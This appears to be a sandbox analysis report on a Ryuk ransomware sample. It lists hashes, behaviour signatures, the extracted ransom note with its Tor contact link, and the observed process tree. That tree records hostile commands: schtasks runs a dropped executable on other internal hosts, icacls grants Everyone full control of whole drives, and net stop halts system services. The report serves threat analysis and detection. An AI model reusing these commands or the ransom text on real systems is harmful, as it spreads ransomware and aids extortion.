Overview

overview

10

Static

static

c68395e474...in.exe

windows7_x64

10

c68395e474...in.exe

windows10_x64

10

Analysis

  • max time kernel
    109s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    17-03-2021 21:00

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General

  • Target

    c68395e474088d5339972e2bf5a30f3c.bin.exe

  • Size

    119KB

  • MD5

    c68395e474088d5339972e2bf5a30f3c

  • SHA1

    502e42240969399c09337ecc7b5ca8fc1ba4baf3

  • SHA256

    9eb7abf2228ad28d8b7f571e0495d4a35da40607f04355307077975e271553b8

  • SHA512

    5320fe8144071dde940ebd0285e6fcf573d36c28ea51fca3b5aecc49bfe5ffcf25d1afbd294e0d0b565a3a621d5ea189b075d868bbef521f2e1fe6702e8be75a

Score
10/10
ryukdiscoveryransomware

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note
contact balance of shadow universe Ryuk $password = 'BVb1qR2'; $torlink = 'http://oc6mkf4efqrjp2ue6qp6vmz4ofyjmlo6dtqiklqb2q546bnqeu66tbyd.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};
URLs

http://oc6mkf4efqrjp2ue6qp6vmz4ofyjmlo6dtqiklqb2q546bnqeu66tbyd.onion

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Executes dropped EXE 3 IoCs
  • Drops startup file 1 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c68395e474088d5339972e2bf5a30f3c.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\c68395e474088d5339972e2bf5a30f3c.bin.exe"
    1⤵
    • Drops startup file
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4760
    • C:\Users\Admin\AppData\Local\Temp\RQzkZQvytrep.exe
      "C:\Users\Admin\AppData\Local\Temp\RQzkZQvytrep.exe" 9 REP
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.90 /TN 9ZZtJ32 /TR "C:\Users\Public\RQzkZQvytrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:6048
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.64 /TN lzC1Rnc /TR "C:\Users\Public\RQzkZQvytrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:1704
    • C:\Users\Admin\AppData\Local\Temp\NRYCHQScalan.exe
      "C:\Users\Admin\AppData\Local\Temp\NRYCHQScalan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:576
    • C:\Users\Admin\AppData\Local\Temp\CWIOuEVhmlan.exe
      "C:\Users\Admin\AppData\Local\Temp\CWIOuEVhmlan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:1756
    • C:\Windows\SysWOW64\icacls.exe
      icacls "C:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:3648
    • C:\Windows\SysWOW64\icacls.exe
      icacls "D:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:3816
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2960
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "audioendpointbuilder" /y
        3⤵
          PID:5272
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "audioendpointbuilder" /y
          3⤵
            PID:5384
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\System32\net.exe" stop "samss" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4352
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "samss" /y
            3⤵
              PID:5608
          • C:\Windows\SysWOW64\net.exe
            "C:\Windows\System32\net.exe" stop "samss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4008
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "samss" /y
              3⤵
                PID:5468

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/4760-12-0x0000000002DD0000-0x0000000002DD1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4760-13-0x00000000035D0000-0x00000000035D1000-memory.dmp

            Filesize

            4KB

            Download